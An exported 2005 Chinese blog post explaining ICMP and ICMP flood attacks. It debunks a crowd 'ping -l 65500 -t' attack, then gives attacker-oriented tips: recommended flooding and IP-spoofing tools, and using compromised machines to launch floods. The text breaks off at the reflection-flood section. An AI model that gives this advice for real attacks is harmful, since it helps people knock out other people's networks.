{"id":396,"date":"2005-11-02T04:07:11","date_gmt":"2005-11-01T16:07:11","guid":{"rendered":""},"modified":"2005-11-02T04:07:11","modified_gmt":"2005-11-01T16:07:11","slug":"","status":"publish","type":"post","link":"https:\/\/www.mudone.com\/?p=396","title":{"rendered":"\u6d45\u6790ICMP\u6d2a\u6c34\u653b\u51fb"},"content":{"rendered":"

\u51e0\u5e74\u524d\u7684\u67d0\u5929\u665a\u4e0a9\u65f6\uff0c\u4e24\u4e2a\u201c\u5927\u867e\u201d\u8fdb\u5165\u4e00\u4e2a\u804a\u5929\u5ba4\uff0c\u63d0\u8bae\u91cc\u9762\u768450\u591a\u4e2a\u7f51\u6c11\u201c\u53bb\u54cd\u5e94\u53f7\u53ec\uff0c\u505a\u7231\u56fd\u7684\u4e8b\u201d\uff0c\u4ee5\u4e0b\u662f\u539f\u8bdd\u6458\u5f55\uff1a
\n\u5927\u867e\u7532\uff1a\u4eca\u665a10\u70b9\uff0c\u5927\u5bb6\u4e00\u8d77\u53bbping\u767d\u5bab\uff01
\n\u5927\u867e\u4e59\uff1a\u55ef\u55ef\uff01ping\u6b7b\u767d\u5bab\uff01
\n\u7f51\u6c11\uff1a\u600e\u4e48\u505a\uff1f
\n\u5927\u867e\u7532\uff1a\u4f60\u600e\u4e48\u8fd9\u4e48\u7b28\uff1f\u5f00MS-DOS\u7a97\u53e3\uff0c\u8f93\u5165 ping xxx.xxx.xxx.xxx -l 65500 -t\u5c31\u53ef\u4ee5\u4e86\uff01
\n\u7f51\u6c11\uff1a\u8fd9\u6837\u6709\u4ec0\u4e48\u7528\uff1f
\n\u5927\u867e\u7532\uff1a\u53ea\u8981\u8fd9\u6837\u505a\uff0c\u767d\u5bab\u7f51\u7ad9\u5c31\u8fdb\u4e0d\u53bb\u4e86\u3002
\n\u7f51\u6c11\uff1a\u54e6~~\u539f\u6765\u5982\u6b64~~~\u8fd9\u6837\u505a\u662f\u4ec0\u4e48\u539f\u7406\uff1f\u9ad8\u624b\u53ef\u4ee5\u89e3\u91ca\u4e00\u4e0b\u5417\uff1f
\n\u5927\u867e\u7532\uff1a\u8fd9\u4e2a\u561b\u2026\u2026\u8fd8\u662f\u8ba9\u4ed6\u6765\u8bf4\u5427\uff01
\n\u5927\u867e\u4e59\uff1a\u8fd9\u4e2a\u2026\u2026\u8fd9\u4e2a\u2026\u2026\u54b3\uff0c\u603b\u4e4b\u522b\u95ee\u8fd9\u4e48\u591a\uff0c\u7167\u7740\u505a\u5c31\u662f\u4e86\uff0c\u4e0a\u5934\u8bf4\u8fc7\u597d\u50cf\u662f\u4ec0\u4e48DOS\u653b\u51fb\u5427\uff0c\u8fd9\u6837\u505a\uff0c\u767d\u5bab\u7f51\u7ad9\u7684\u670d\u52a1\u5668\u5c31\u4f1a\u57ae\u6389\u3002
\n\u5927\u867e\u7532\uff1a\u603b\u4e4b\u5230\u65f6\u5019\u4f60\u4eec\u4e00\u8d77\u8fd9\u6837\u505a\u5c31\u53ef\u4ee5\u4e86\uff0110\u70b9\u51c6\u65f6\u5f00\u59cb\uff0c\u6211\u4eec\u5148\u53bb\u51c6\u5907\u4e86\uff01
\n\u7f51\u6c11\uff1a\u4e0d\u61c2\u2026\u2026
\n\u4e0d\u61c2\u5f52\u4e0d\u61c2\uff0c\u5f53\u665a10\u70b9\uff0c\u7231\u56fd\u7684\u7f51\u6c11\u4eec\u4e00\u8d77\u7528\u4e0a\u9762\u201c\u9ad8\u624b\u201d\u7ed9\u51fa\u7684\u547d\u4ee4\u5f00\u59cb\u4e86\u96c4\u4f1f\u7684\u201c\u7231\u56fd\u53cd\u51fb\u6218\u201d\u2014\u2014\u4e00\u573a\u65e0\u804a\u7684\u95f9\u5267\uff01
\n
\n\u4ed6\u4eec\u8fd9\u6837\u505a\u662f\u4ec0\u4e48\u539f\u7406\uff1f\u90a3\u6837\u7684\u201c\u653b\u51fb\u201d\u6709\u6548\u5417\uff1f\u8981\u89e3\u91ca\u8fd9\u4e9b\uff0c\u5c31\u8981\u4eceICMP\u534f\u8bae\u8bf4\u8d77\u3002<\/p>\n

\u4e00\u3001\u4ec0\u4e48\u662fICMP\u534f\u8bae\uff1f
\nICMP\u5168\u79f0Internet Control Message Protocol\uff08\u7f51\u9645\u63a7\u5236\u4fe1\u606f\u534f\u8bae\uff09\u3002\u63d0\u8d77ICMP\uff0c\u4e00\u4e9b\u4eba\u53ef\u80fd\u4f1a\u611f\u5230\u964c\u751f\uff0c\u5b9e\u9645\u4e0a\uff0cICMP\u4e0e\u6211\u4eec\u606f\u606f\u76f8\u5173\u3002\u5728\u7f51\u7edc\u4f53\u7cfb\u7ed3\u6784\u7684\u5404\u5c42\u6b21\u4e2d\uff0c\u90fd\u9700\u8981\u63a7\u5236\uff0c\u800c\u4e0d\u540c\u7684\u5c42\u6b21\u6709\u4e0d\u540c\u7684\u5206\u5de5\u548c\u63a7\u5236\u5185\u5bb9\uff0cIP\u5c42\u7684\u63a7\u5236\u529f\u80fd\u662f\u6700\u590d\u6742\u7684\uff0c\u4e3b\u8981\u8d1f\u8d23\u5dee\u9519\u63a7\u5236\u3001\u62e5\u585e\u63a7\u5236\u7b49\uff0c\u4efb\u4f55\u63a7\u5236\u90fd\u662f\u5efa\u7acb\u5728\u4fe1\u606f\u7684\u57fa\u7840\u4e4b\u4e0a\u7684\uff0c\u5728\u57fa\u4e8eIP\u6570\u636e\u62a5\u7684\u7f51\u7edc\u4f53\u7cfb\u4e2d\uff0c\u7f51\u5173\u5fc5\u987b\u81ea\u5df1\u5904\u7406\u6570\u636e\u62a5\u7684\u4f20\u8f93\u5de5\u4f5c\uff0c\u800cIP\u534f\u8bae\u81ea\u8eab\u6ca1\u6709\u5185\u5728\u673a\u5236\u6765\u83b7\u53d6\u5dee\u9519\u4fe1\u606f\u5e76\u5904\u7406\u3002\u4e3a\u4e86\u5904\u7406\u8fd9\u4e9b\u9519\u8bef\uff0cTCP\/IP\u8bbe\u8ba1\u4e86ICMP\u534f\u8bae\uff0c\u5f53\u67d0\u4e2a\u7f51\u5173\u53d1\u73b0\u4f20\u8f93\u9519\u8bef\u65f6\uff0c\u7acb\u5373\u5411\u4fe1\u6e90\u4e3b\u673a\u53d1\u9001ICMP\u62a5\u6587\uff0c\u62a5\u544a\u51fa\u9519\u4fe1\u606f\uff0c\u8ba9\u4fe1\u6e90\u4e3b\u673a\u91c7\u53d6\u76f8\u5e94\u5904\u7406\u63aa\u65bd\uff0c\u5b83\u662f\u4e00\u79cd\u5dee\u9519\u548c\u63a7\u5236\u62a5\u6587\u534f\u8bae\uff0c\u4e0d\u4ec5\u7528\u4e8e\u4f20\u8f93\u5dee\u9519\u62a5\u6587\uff0c\u8fd8\u4f20\u8f93\u63a7\u5236\u62a5\u6587\u3002<\/p>\n

\u4e8c\u3001ICMP\u62a5\u6587\u683c\u5f0f
\nICMP\u62a5\u6587\u5305\u542b\u5728IP\u6570\u636e\u62a5\u4e2d\uff0c\u5c5e\u4e8eIP\u7684\u4e00\u4e2a\u7528\u6237\uff0cIP\u5934\u90e8\u5c31\u5728ICMP\u62a5\u6587\u7684\u524d\u9762\uff0c\u6240\u4ee5\u4e00\u4e2aICMP\u62a5\u6587\u5305\u62ecIP\u5934\u90e8\u3001ICMP\u5934\u90e8\u548c ICMP\u62a5\u6587\uff08\u89c1\u56fe\u8868\uff0cICMP\u62a5\u6587\u7684\u7ed3\u6784\u548c\u51e0\u79cd\u5e38\u89c1\u7684ICMP\u62a5\u6587\u683c\u5f0f\uff09\uff0cIP\u5934\u90e8\u7684Protocol\u503c\u4e3a1\u5c31\u8bf4\u660e\u8fd9\u662f\u4e00\u4e2aICMP\u62a5\u6587\uff0cICMP\u5934\u90e8\u4e2d\u7684\u7c7b\u578b\uff08Type\uff09\u57df\u7528\u4e8e\u8bf4\u660eICMP\u62a5\u6587\u7684\u4f5c\u7528\u53ca\u683c\u5f0f\uff0c\u6b64\u5916\u8fd8\u6709\u4e00\u4e2a\u4ee3\u7801\uff08Code\uff09\u57df\u7528\u4e8e\u8be6\u7ec6\u8bf4\u660e\u67d0\u79cdICMP\u62a5\u6587\u7684\u7c7b\u578b\uff0c\u6240\u6709\u6570\u636e\u90fd\u5728ICMP\u5934\u90e8\u540e\u9762\u3002RFC\u5b9a\u4e49\u4e8613\u79cdICMP\u62a5\u6587\u683c\u5f0f\uff0c\u5177\u4f53\u5982\u4e0b\uff1a<\/p>\n

\u7c7b\u578b\u4ee3\u7801 \u7c7b\u578b\u63cf\u8ff0
\n0 \u54cd\u5e94\u5e94\u7b54\uff08ECHO-REPLY\uff09
\n3 \u4e0d\u53ef\u5230\u8fbe
\n4 \u6e90\u6291\u5236
\n5 \u91cd\u5b9a\u5411
\n8 \u54cd\u5e94\u8bf7\u6c42\uff08ECHO-REQUEST\uff09
\n11 \u8d85\u65f6
\n12 \u53c2\u6570\u5931\u7075
\n13 \u65f6\u95f4\u6233\u8bf7\u6c42
\n14 \u65f6\u95f4\u6233\u5e94\u7b54
\n15 \u4fe1\u606f\u8bf7\u6c42\uff08*\u5df2\u4f5c\u5e9f\uff09
\n16 \u4fe1\u606f\u5e94\u7b54\uff08*\u5df2\u4f5c\u5e9f\uff09
\n17 \u5730\u5740\u63a9\u7801\u8bf7\u6c42
\n18 \u5730\u5740\u63a9\u7801\u5e94\u7b54<\/p>\n

\u5176\u4e2d\u4ee3\u7801\u4e3a15\u300116\u7684\u4fe1\u606f\u62a5\u6587\u5df2\u7ecf\u4f5c\u5e9f\u3002<\/p>\n

\u4e0b\u9762\u662f\u51e0\u79cd\u5e38\u89c1\u7684ICMP\u62a5\u6587\uff1a
\n1.\u54cd\u5e94\u8bf7\u6c42
\n\u6211\u4eec\u65e5\u5e38\u4f7f\u7528\u6700\u591a\u7684ping\uff0c\u5c31\u662f\u54cd\u5e94\u8bf7\u6c42\uff08Type=8\uff09\u548c\u5e94\u7b54\uff08Type=0\uff09\uff0c\u4e00\u53f0\u4e3b\u673a\u5411\u4e00\u4e2a\u8282\u70b9\u53d1\u9001\u4e00\u4e2aType=8\u7684ICMP\u62a5\u6587\uff0c\u5982\u679c\u9014\u4e2d\u6ca1\u6709\u5f02\u5e38\uff08\u4f8b\u5982\u88ab\u8def\u7531\u5668\u4e22\u5f03\u3001\u76ee\u6807\u4e0d\u56de\u5e94ICMP\u6216\u4f20\u8f93\u5931\u8d25\uff09\uff0c\u5219\u76ee\u6807\u8fd4\u56deType=0\u7684ICMP\u62a5\u6587\uff0c\u8bf4\u660e\u8fd9\u53f0\u4e3b\u673a\u5b58\u5728\uff0c\u66f4\u8be6\u7ec6\u7684tracert \u901a\u8fc7\u8ba1\u7b97ICMP\u62a5\u6587\u901a\u8fc7\u7684\u8282\u70b9\u6765\u786e\u5b9a\u4e3b\u673a\u4e0e\u76ee\u6807\u4e4b\u95f4\u7684\u7f51\u7edc\u8ddd\u79bb\u3002<\/p>\n

2.\u76ee\u6807\u4e0d\u53ef\u5230\u8fbe\u3001\u6e90\u6291\u5236\u548c\u8d85\u65f6\u62a5\u6587
\n\u8fd9\u4e09\u79cd\u62a5\u6587\u7684\u683c\u5f0f\u662f\u4e00\u6837\u7684\uff0c\u76ee\u6807\u4e0d\u53ef\u5230\u8fbe\u62a5\u6587\uff08Type=3\uff09\u5728\u8def\u7531\u5668\u6216\u4e3b\u673a\u4e0d\u80fd\u4f20\u9012\u6570\u636e\u62a5\u65f6\u4f7f\u7528\uff0c\u4f8b\u5982\u6211\u4eec\u8981\u8fde\u63a5\u5bf9\u65b9\u4e00\u4e2a\u4e0d\u5b58\u5728\u7684\u7cfb\u7edf\u7aef\u53e3\uff08\u7aef\u53e3\u53f7\u5c0f\u4e8e1024\uff09\u65f6\uff0c\u5c06\u8fd4\u56deType=3\u3001Code=3\u7684ICMP\u62a5\u6587\uff0c\u5b83\u8981\u544a\u8bc9\u6211\u4eec\uff1a\u201c\u563f\uff0c\u522b\u8fde\u63a5\u4e86\uff0c\u6211\u4e0d\u5728\u5bb6\u7684\uff01\u201d\uff0c\u5e38\u89c1\u7684\u4e0d\u53ef\u5230\u8fbe\u7c7b\u578b\u8fd8\u6709\u7f51\u7edc\u4e0d\u53ef\u5230\u8fbe\uff08Code=0\uff09\u3001\u4e3b\u673a\u4e0d\u53ef\u5230\u8fbe\uff08Code=1\uff09\u3001\u534f\u8bae\u4e0d\u53ef\u5230\u8fbe\uff08Code=2\uff09\u7b49\u3002\u6e90\u6291\u5236\u5219\u5145\u5f53\u4e00\u4e2a\u63a7\u5236\u6d41\u91cf\u7684\u89d2\u8272\uff0c\u5b83\u901a\u77e5\u4e3b\u673a\u51cf\u5c11\u6570\u636e\u62a5\u6d41\u91cf\uff0c\u7531\u4e8eICMP\u6ca1\u6709\u6062\u590d\u4f20\u8f93\u7684\u62a5\u6587\uff0c\u6240\u4ee5\u53ea\u8981\u505c\u6b62\u8be5\u62a5\u6587\uff0c\u4e3b\u673a\u5c31\u4f1a\u9010\u6e10\u6062\u590d\u4f20\u8f93\u901f\u7387\u3002\u6700\u540e\uff0c\u65e0\u8fde\u63a5\u65b9\u5f0f\u7f51\u7edc\u7684\u95ee\u9898\u5c31\u662f\u6570\u636e\u62a5\u4f1a\u4e22\u5931\uff0c\u6216\u8005\u957f\u65f6\u95f4\u5728\u7f51\u7edc\u6e38\u8361\u800c\u627e\u4e0d\u5230\u76ee\u6807\uff0c\u6216\u8005\u62e5\u585e\u5bfc\u81f4\u4e3b\u673a\u5728\u89c4\u5b9a\u65f6\u95f4\u5185\u65e0\u6cd5\u91cd\u7ec4\u6570\u636e\u62a5\u5206\u6bb5\uff0c\u8fd9\u65f6\u5c31\u8981\u89e6\u53d1ICMP\u8d85\u65f6\u62a5\u6587\u7684\u4ea7\u751f\u3002\u8d85\u65f6\u62a5\u6587\u7684\u4ee3\u7801\u57df\u6709\u4e24\u79cd\u53d6\u503c\uff1aCode=0\u8868\u793a\u4f20\u8f93\u8d85\u65f6\uff0cCode=1\u8868\u793a\u91cd\u7ec4\u5206\u6bb5\u8d85\u65f6\u3002<\/p>\n

3.\u65f6\u95f4\u6233
\n\u65f6\u95f4\u6233\u8bf7\u6c42\u62a5\u6587\uff08Type=13\uff09\u548c\u65f6\u95f4\u6233\u5e94\u7b54\u62a5\u6587\uff08Type=14\uff09\u7528\u4e8e\u6d4b\u8bd5\u4e24\u53f0\u4e3b\u673a\u4e4b\u95f4\u6570\u636e\u62a5\u6765\u56de\u4e00\u6b21\u7684\u4f20\u8f93\u65f6\u95f4\u3002\u4f20\u8f93\u65f6\uff0c\u4e3b\u673a\u586b\u5145\u539f\u59cb\u65f6\u95f4\u6233\uff0c\u63a5\u6536\u65b9\u6536\u5230\u8bf7\u6c42\u540e\u586b\u5145\u63a5\u6536\u65f6\u95f4\u6233\u540e\u4ee5Type=14\u7684\u62a5\u6587\u683c\u5f0f\u8fd4\u56de\uff0c\u53d1\u9001\u65b9\u8ba1\u7b97\u8fd9\u4e2a\u65f6\u95f4\u5dee\u3002\u4e00\u4e9b\u7cfb\u7edf\u4e0d\u54cd\u5e94\u8fd9\u79cd\u62a5\u6587\u3002<\/p>\n

\u4e09\u3001\u56de\u5230\u6b63\u9898\uff1a\u8fd9\u6837\u7684\u653b\u51fb\u6709\u6548\u5417\uff1f
\n\u5728\u524d\u9762\u8bb2\u8fc7\u4e86\uff0cping\u4f7f\u7528\u7684\u662fECHO\u5e94\u7b54\uff0c\u4e0d\u77e5\u9053\u5927\u5bb6\u6ce8\u610f\u8fc7\u6ca1\u6709\uff0cping\u7684\u8fd4\u56de\u5f88\u6162\uff0c\u7528NetXRAY\u6293\u5305\u4ec5\u4e3a1–5\u5305\/\u79d2\uff0c\u8fd9\u662f\u4e3a\u4ec0\u4e48\u5462\uff1f\u4e8b\u5b9e\u4e0a\uff0cICMP\u672c\u8eab\u5e76\u4e0d\u6162\uff08\u7531\u4e8eICMP\u662fSOCK_RAW\u4ea7\u751f\u7684\u539f\u59cb\u62a5\u6587\uff0c\u901f\u5ea6\u6bd4SOCK_STREAM\u7684SYN\u548cSOCK_DGRAM\u7684UDP \u8981\u5feb\u51e0\u4e4e10\u500d\uff01\uff09\uff0c\u8fd9\u6837\u7684\u901f\u5ea6\u662fping\u7a0b\u5e8f\u6545\u610f\u5ef6\u8fdf\u7684\uff08\u4e3a\u4ec0\u4e48\uff1fM$\u53ef\u4e0d\u60f3\u6bcf\u4e2a\u4eba\u90fd\u80fd\u7528ping\u6765\u5e72\u574f\u4e8b\uff09\uff0c\u540c\u6837\uff0c\u6211\u6d4b\u8bd5\u8fc7\u4e00\u4e9b\u53f7\u79f0\u201cping\u6d2a\u6c34\u201d \u7684\u7a0b\u5e8f\uff0c\u53d1\u73b0\u5b83\u4eec\u7684\u6548\u7387\u548cping.exe\u6ca1\u4ec0\u4e48\u4e24\u6837\uff0c\u7ecf\u8fc7Dependency Walker\u67e5\u770b\u7a0b\u5e8f\u8c03\u7528\u7684\u51fd\u6570\u53d1\u73b0\uff0c\u4ed6\u4eec\u7528\u7684\u662ficmp.dll\u63d0\u4f9b\u7684IcmpSendEcho\u8fd9\u4e2aAPI\uff0c\u8fd9\u4e2a\u51fd\u6570\u662f\u8ba1\u7b97ECHO\u65f6\u95f4\u7684\uff0c\u901f\u5ea6\u5f53\u7136\u6162\uff01\u800c\u90a3\u4e24\u4e2a\u201c\u9ad8\u624b\u201d\u53f7\u53ec\u7684ping\u653b\u51fb\u5b9e\u9645\u4e0a\u5c31\u662f\u4e3a\u4e86\u5b9e\u73b0ICMP\u6d2a\u6c34\u653b\u51fb\uff0c\u4f46\u662f\u4ed6\u4eec\u7528\u7684\u65b9\u6cd5\u2026\u2026\u60f3\u60f3\u6d2a\u6c34\u7684\u901f\u5ea6\u548c\u5c71\u6da7\u5c0f\u6eaa\u7684\u901f\u5ea6\u76f8\u5dee\u591a\u5c11\u5427\uff01\u5c31\u7528 ping.exe\u548cIcmpSendEcho\u8fd9\u79cd\u5c0f\u6eaa\u6162\u6162\u6d41\u6dcc\u7684\u901f\u5ea6\u80fd\u505a\u4ec0\u4e48\uff1f\u8fd8\u4e0d\u662f\u8ba9\u4eba\u5bb6\u770b\u7b11\u8bdd\uff01\u8fd9\u79cd\u653b\u51fb\u6839\u672c\u5c31\u662f\u6d6a\u8d39\u81ea\u5df1\u7684\u65f6\u95f4\uff01\uff08\u5982\u4eca\u8fd8\u7ecf\u5e38\u6709\u4eba\u95ee ping -l 65500 -t\u7684\u653b\u51fb\u5a01\u529b\u5982\u4f55\u2026\u2026\u54ce\uff0c\u60b2\u54c0\u554a\u60b2\u54c0\u2026\u2026\uff09<\/p>\n

\u56db\u3001\u4ec0\u4e48\u662fICMP\u6d2a\u6c34\uff1f
\n1.ICMP\u6d2a\u6c34\u7684\u6210\u56e0
\nping.exe\u548cIcmpSendEcho\u901f\u5ea6\u6162\u7684\u53e6\u4e00\u4e2a\u539f\u56e0\u662f\u5b83\u4eec\u5fc5\u987b\u7b49\u5f85\u76ee\u6807\u4e3b\u673a\u8fd4\u56deREPLY\u4fe1\u606f\uff0c\u8fd9\u4e2a\u8fc7\u7a0b\u9700\u8981\u82b1\u8d39\u5927\u91cf\u65f6\u95f4\uff0c\u800c Flood\u2014\u2014\u6d2a\u6c34\uff0c\u987e\u540d\u601d\u4e49\uff0c\u662f\u901f\u5ea6\u6781\u5feb\u7684\uff0c\u5f53\u4e00\u4e2a\u7a0b\u5e8f\u53d1\u9001\u6570\u636e\u5305\u7684\u901f\u5ea6\u8fbe\u5230\u4e86\u6bcf\u79d21000\u4e2a\u4ee5\u4e0a\uff0c\u5b83\u7684\u6027\u8d28\u5c31\u6210\u4e86\u6d2a\u6c34\u4ea7\u751f\u5668\uff0c\u6d2a\u6c34\u6570\u636e\u662f\u4ece\u6d2a\u6c34\u4ea7\u751f\u5668\u91cc\u51fa\u6765\u7684\uff0c\u4f46\u8fd9\u6837\u8fd8\u4e0d\u591f\uff0c\u6ca1\u6709\u8db3\u591f\u7684\u5e26\u5bbd\uff0c\u518d\u731b\u7684\u6d2a\u6c34\u4e5f\u53ea\u80fd\u50cf\u516c\u8def\u585e\u8f66\u90a3\u6837\u6162\u6162\u79fb\u52a8\uff0c\u6210\u4e86\u9e21\u808b\u3002\u8981\u505a\u771f\u6b63\u7684\u6d2a\u6c34\uff0c\u5c31\u9700\u8981\u6709\u4e00\u6761\u8db3\u591f\u5bbd\u7684\u9ad8\u901f\u516c\u8def\u624d\u53ef\u4ee5\u3002\u6781\u6162\u7684\u53d1\u9001\u901f\u5ea6+56Kbps\u5c0f\u732b\u7b49\u4e8e\u4ec0\u4e48\uff1f\u7b49\u4e8e\u4e00\u4e2a\u672a\u5173\u7d27\u7684\u6c34\u9f99\u5934\uff0c\u6839\u672c\u6ca1\u7528\u3002
\n\u7531\u4e8eping.exe\u65e0\u6cd5\u63d0\u901f\uff0c\u8fd9\u5c31\u9700\u8981\u4e13\u95e8\u7684\u5de5\u5177\u6765\u505a\u6d2a\u6c34\u4e86\u3002\u8db3\u591f\u5feb\u7684\u6570\u636e\u5305\u901f\u5ea6+\u8db3\u591f\u7684\u5e26\u5bbd\uff0c\u8fd9\u624d\u662f\u6d2a\u6c34\u3002<\/p>\n

2.\u5b9e\u73b0ICMP\u6d2a\u6c34\u7684\u524d\u63d0
\n\u6700\u5927\u7684\u524d\u63d0\u662f\u653b\u51fb\u8005\u7684\u901f\u5ea6\uff01\u5982\u679c\u4f60\u8981\u752856K\u62e8\u53f7\u53bb\u653b\u51fb\u4e00\u4e2a512Kbps ADSL\u7528\u6237\uff0c\u540e\u679c\u548c\u4e00\u53ea\u8682\u8681\u4f38\u817f\u60f3\u7eca\u5012\u5927\u8c61\u7684\u5929\u65b9\u591c\u8c2d\u662f\u4e00\u6837\u7684\uff01\u5176\u6b21\u662f\u4f60\u7684\u673a\u5668\u8fd0\u884c\u901f\u5ea6\u548c\u6570\u636e\u541e\u5410\u91cf\uff0c\u7531\u4e8e\u6d89\u53caIP\u6821\u9a8c\u548c\u7684\u8ba1\u7b97\uff08\u5148\u8bbe\u7f6e\u5934\u6821\u9a8c\u548c\u57df\u7684\u6570\u503c\u4e3a0\uff0c\u7136\u540e\u5bf9\u6574\u4e2a\u6570\u636e\u62a5\u5934\u6309\u6bcf16\u4f4d\u6c42\u5f02\u6216\uff0c\u518d\u628a\u7ed3\u679c\u53d6\u53cd\uff0c\u5c31\u5f97\u5230\u4e86\u6821\u9a8c\u548c\uff09\uff0c\u5982\u679c\u6570\u636e\u5904\u7406\u80fd\u529b\u4e0d\u591f\uff0c\u5728\u8fd9\u6b65\u5c31\u6162\u4e86\u4e00\u4e2a\u7ea7\u522b\uff0c\u6548\u679c\u5f53\u7136\u5927\u6253\u6298\u6263\u3002\u6700\u540e\u5c31\u662f\u76ee\u6807\u673a\u5668\u7684\u5e26\u5bbd\uff01\u5982\u679c\u5bf9\u65b9\u6bd4\u4f60\u5927\u5f88\u591a\uff08\u4f8b\u5982\u4f602M ADSL\uff0c\u522b\u4eba\u7528DDN\u6216T1\uff09\uff0c\u90a3\u4e48\u4efb\u4f55Flood\u90fd\u662f\u65e0\u75c5\u547b\u541f\uff0c\u6320\u75d2\u90fd\u4e0d\u591f\uff01\uff08\u5e0c\u671b\u4e0d\u8981\u518d\u95ee\u201c\u5c0f\u91d1\uff0c\u4f60\u7684R-Series\u600e\u4e48\u4e0d\u597d\u7528\u554a\u201d\u3001\u201c\u6211\u7528\u5c0f\u91d1\u7684AnGryPing\u653b\u51fb\u522b\u4eba\u534a\u5929\u90fd\u6ca1\u4e8b\uff01\u201d\u3001\u201c\u72ec\u88c1\u8005\u7684\u653b\u51fb\u600e\u4e48\u65e0\u6548\u554a\uff1f\u201d\u8fd9\u6837\u7684\u95ee\u9898\u4e86\uff0c\u5929\u554a\uff0c\u6211\u5934\u90fd\u5927\u4e86\uff01\uff09
\n\u8fd8\u6709\u8bb8\u591a\u4eba\u90fd\u5ffd\u7565\u7684\u95ee\u9898\uff1a\u53d1\u9001\u7684\u901f\u5ea6\u4e0e\u6570\u636e\u5305\u5927\u5c0f\u6210\u53cd\u6bd4\uff0c\u800c\u4e14\u592a\u5927\u7684\u6570\u636e\u5305\u4f1a\u88ab\u8def\u7531\u5668\u7b49\u8bbe\u5907\u8fc7\u6ee4\u6389\uff01\u627e\u5230\u4e00\u4e2a\u5408\u9002\u7684\u6570\u636e\u5305\u5927\u5c0f\uff0c\u5bf9\u63d0\u9ad8Flood\u7684\u6548\u7387\u6709\u5f88\u5927\u5e2e\u52a9\uff01<\/p>\n

3.\u6d2a\u6c34\u2014\u2014\u4e24\u8d25\u4ff1\u4f24\u7684\u653b\u51fb\u65b9\u5f0f
\n\u522b\u4ee5\u4e3a\u6d2a\u6c34\u65e0\u6240\u4e0d\u80fd\uff0c\u5b9e\u9645\u4e0a\uff0c\u4f60\u5c55\u5f00\u6d2a\u6c34\u653b\u51fb\u65f6\uff0c\u653b\u51fb\u7a0b\u5e8f\u5728\u6d88\u8017\u5bf9\u65b9\u5e26\u5bbd\u548c\u8d44\u6e90\u65f6\uff0c\u4e5f\u5728\u6d88\u8017\u4f60\u7684\u5e26\u5bbd\u548c\u8d44\u6e90\u3002\u8fd9\u53ea\u662f\u4e2a\u770b\u8c01\u6491\u5f97\u4f4f\u7684\u653b\u51fb\u800c\u5df2\u3002\u5b9e\u9645\u4e0a\uff0c\u6709\u7ecf\u9a8c\u7684\u653b\u51fb\u8005\u90fd\u662f\u7528\u88ab\u63a7\u5236\u7684\u670d\u52a1\u5668\uff08\u8089\u9e21\uff09\u6765\u4ee3\u66ff\u81ea\u5df1\u7684\u673a\u5668\u53d1\u52a8\u653b\u51fb\u7684\uff0c\u4e0d\u5230\u4e07\u4e0d\u5f97\u5df2\u6216\u8005\u4f60\u5bf9\u81ea\u5df1\u7684\u673a\u5668\u7f51\u901f\u6709\u81ea\u4fe1\uff0c\u5426\u5219\u5c3d\u91cf\u5c11\u7528\u81ea\u5df1\u7684\u673a\u5668\u6765\u62fc\u640f\uff01<\/p>\n

\u4e94\u3001\u4e0d\u540c\u65b9\u5f0f\u7684ICMP\u6d2a\u6c34
\n1.\u76f4\u63a5Flood
\n\u8981\u505a\u8fd9\u4e2a\u7684\u9996\u8981\u6761\u4ef6\u662f\u4f60\u7684\u5e26\u5bbd\u591f\uff0c\u7136\u540e\u5c31\u662f\u8981\u4e00\u4e2a\u597d\u7528\u7684ICMP Flooder\uff0c\u522b\u7528ping.exe\u90a3\u79cd\u63a2\u8def\u7528\u7684\u5783\u573e\uff0c\u4f8b\u5982\u6211\u4ee5\u524d\u53d1\u5e03\u7684AnGryPing\uff0c\u53d1\u5305\u901f\u5ea6\u8fbe\u52306000—9000\u5305\/\u79d2\uff08512 Kbps ADSL\uff09\uff0c\u9ed8\u8ba4\u662f32bytes\u7684ECHO\u62a5\u6587\u6d2a\u6c34\uff0c\u7528\u5b83\u5373\u4f7f\u4e0d\u80fdflood\u522b\u4eba\u4e0b\u53bb\uff0c\u9632\u706b\u5899\u4e5f\u53eb\u5f97\u591f\u60e8\u7684\u4e86\u3002\u76f4\u63a5\u653b\u51fb\u4f1a\u66b4\u9732\u81ea\u5df1IP\uff08\u5982\u679c\u5bf9\u65b9\u6ca1\u6709\u8fd8\u51fb\u80fd\u529b\u90a3\u8fd8\u65e0\u6240\u8c13\uff0c\u56fa\u5b9aIP\u7528\u6237\u4e0d\u63a8\u8350\u4f7f\u7528\u8fd9\u79cdFlood\uff09\uff0c\u76f4\u63a5Flood\u4e3b\u8981\u662f\u4e3a\u4e86\u987e\u53caWin9x\/Me\u4e0d\u80fd\u4f2a\u9020IP\u7684\u7f3a\u9677\uff0c\u5426\u5219\u4e00\u822c\u8fd8\u662f\u522b\u7528\u4e3a\u5999\u3002<\/p>\n

\u7b80\u5355\u793a\u610f\u56fe\uff1a
\nICMP
\n\u653b\u51fb\u8005[IP=211.97.54.3]———————————>\u53d7\u5bb3\u8005[\u622a\u83b7\u653b\u51fb\u8005IP=211.97.54.3]==>\u6362IP\u56de\u6765\u53cd\u51fb\uff0c\u563f\u563f<\/p>\n

2.\u4f2a\u9020IP\u7684Flood
\n\u5982\u679c\u4f60\u662fWin2000\/XP\u5e76\u4e14\u662fAdministrator\u6743\u9650\uff0c\u53ef\u4ee5\u8bd5\u8bd5\u770bFakePing\uff0c\u5b83\u80fd\u968f\u610f\u4f2a\u9020\u4e00\u4e2aIP\u6765Flood\uff0c\u8ba9\u5bf9\u65b9\u6478\u4e0d\u5230\u5934\u8111\uff0c\u5c5e\u4e8e\u6bd4\u8f83\u9690\u853d\u9634\u9669\u7684Flood\u3002<\/p>\n

\u7b80\u5355\u793a\u610f\u56fe\uff1a
\n\u4f2a\u9020IP=1.1.1.1\u7684ICMP
\n\u653b\u51fb\u8005[IP=211.97.54.3]———————————>\u53d7\u5bb3\u8005[\u622a\u83b7\u653b\u51fb\u8005IP=1.1.1.1]==>\u5012\u6b7b<\/p>\n

3.\u53cd\u5c04
